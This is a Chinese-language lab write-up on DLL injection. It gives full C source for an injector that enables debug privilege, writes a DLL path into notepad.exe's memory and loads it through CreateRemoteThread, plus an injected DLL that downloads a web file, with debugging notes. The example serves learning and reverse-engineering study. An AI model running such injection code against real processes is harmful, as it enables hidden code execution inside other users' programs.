DLL注入:用CreateRemoteThread實現DLL注入
實驗環境:WINXP VS2010
功能:注入到notepad.exe程式,並從網上下一個檔案
實驗程式:
(一)myhack.dll,即要注入的dll程式
#include "windows.h" #include "tchar.h" #pragma comment(lib,"urlmon.lib") #define DEF_URL (L"http://www.naver.com/index.html") #define DEF_FILE_NAME (L"index.html") HMODULE g_hMod = NULL; DWORD WINAPI ThreadProc(LPVOID lParam) { TCHAR szPath[_MAX_PATH] = {0,}; if(!GetModuleFileName(g_hMod,szPath,MAX_PATH)) return FALSE; TCHAR *p = _tcsrchr(szPath,'\\'); if(!p) return FALSE; _tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME); HRESULT hr = URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL); if (hr != S_OK) return FALSE; else OutputDebugString(L"down finish!!!!"); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL; g_hMod = (HMODULE)hinstDLL; switch(fdwReason) { case DLL_PROCESS_ATTACH: OutputDebugString(L"myhack.dll Injection!!!!"); hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL); if (hThread) OutputDebugString(L"down finish!!!!"); CloseHandle(hThread); break; } return TRUE; }
程式流程:
(1)當DLL被載入(DLL_PROCESS_ATTACH)時,先輸出一個除錯字串,
(2)利用CreateThread() 建立一個執行緒,建立後立即被啟用,直接呼叫ThreadProc函式
(3)該函式呼叫URLDownloadToFile() 下載指定網站的index.html檔案
(二)InjectDll.exe,即將myhack.dll注入notepad.exe的程式
// InjectDll.cpp : 定義控制檯應用程式的入口點。 // #include "stdafx.h" #include "windows.h" #include "tchar.h" BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL; HANDLE hThread = NULL; HMODULE hMod = NULL; LPVOID pRemoteBuf = NULL; //儲存dll路徑字串的起始地址 DWORD dwBufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR); // dll路徑字串的大小 LPTHREAD_START_ROUTINE pThreadProc; // 儲存LoadLibrary函式的地址 // 使用dwPID獲取目標程序控制代碼 if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID))) { _tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError()); return FALSE; } // 在目標程序notepad.exe記憶體中分配szDLLName大小的記憶體 pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE); // 將myhack.dll路徑寫入分配的記憶體 WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL); // 獲取LoadLibraryW() API的地址 hMod = GetModuleHandle(L"kernel32.dll"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW"); // 在notepad.exe中執行執行緒 hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL); WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; } // 提權函式 BOOL EnableDebugPriv() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { printf("提權失敗。"); return FALSE; } if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) { CloseHandle( hToken ); printf("提權失敗。"); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) ) { printf("提權失敗。"); CloseHandle( hToken ); } else { printf("提權成功!"); return TRUE; } } int _tmain(int argc, _TCHAR* argv[]) { if (argc !=3) { _tprintf(L"USAGE: %s pid dll_path\n",argv[0]); return 1; } //inject dll EnableDebugPriv(); if (InjectDll((DWORD)_tstol(argv[1]),argv[2])) _tprintf(L"InjectDll(\"%s\") success!!!\n",argv[2]); else _tprintf(L"InjectDll(\"%s\") failed!!!\n",argv[2]); /*DWORD dwPID = 0; LPCTSTR szDllPath = NULL; dwPID = 1776; szDllPath = L"C:\\work\\myhack.dll"; InjectDll(dwPID,szDllPath);*/ return 0; }
程式流程:
(1)首先進行提權,如果不提權,OpenProcess()會報GetlastError[5]的錯誤,同時拿不到控制代碼。這是因為在xp環境下,雖然賬號是管理員,但是許可權預設沒有啟動。
(2)利用OpenProcess() 獲得目標程序的控制代碼。這裡指notepad.exe
(3)用VirtualAllocEx() 在目標程序空間分配一定的記憶體空間。用來寫入DLL的路徑
(4)用WriteProcessMemory() 將DLL路徑字串寫入剛分配的記憶體。
(5)利用GetModuleHandle() 和GetProcessAddress() 得到LoadLibrary() 的地址。用來載入DLL
(6)利用CreateRemoteThread() 使LoadLibrary()載入DLL,實現DLL的注入。
給程序提權有三種方法:
除錯:
開啟記事本,OD attach ,執行;
將OD的選項->除錯設定->事件->中斷在新模組DLL處選中,則程式當載入新的DLL時就會停住;
執行命令列,輸入引數,執行InjectDll.exe程式;
則OD會彈出Executable modules視窗,發現myhack.dll被載入
雙擊來到myhack.dll 入口點附近,下斷點,接下來,將OD的中斷在新的DLL入口處關閉,執行,就可以除錯DLL程式了
具體分析一下dll流程:
(1)首先通過GetModuleFileName得到myhack.dll的完整路徑
(2)通過_tcschr() 得到’\myhack.dll’。_tcschr(szPath,’\’)表示查詢szPath字串’‘字元最後一次出現的位置,並返回\後面的字元,包括’’
接下來呼叫_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME)此時,p+1指向’myhack.dll’字串;
執行完後,說明這個函式實現了拷貝,但是……為啥要拷貝?
最後呼叫URLDownloadToFile() 函式實現下載。觀察引數明白了,原來拷貝函式是為了得到下載儲存的路徑的呀!
執行程式:發現注入成功了!但是遺憾的是work資料夾中並沒有下載的index.html檔案。。。原因未知。。。
用Process Explorer也能看到myhack.dll確實被注入到notepad.exe中了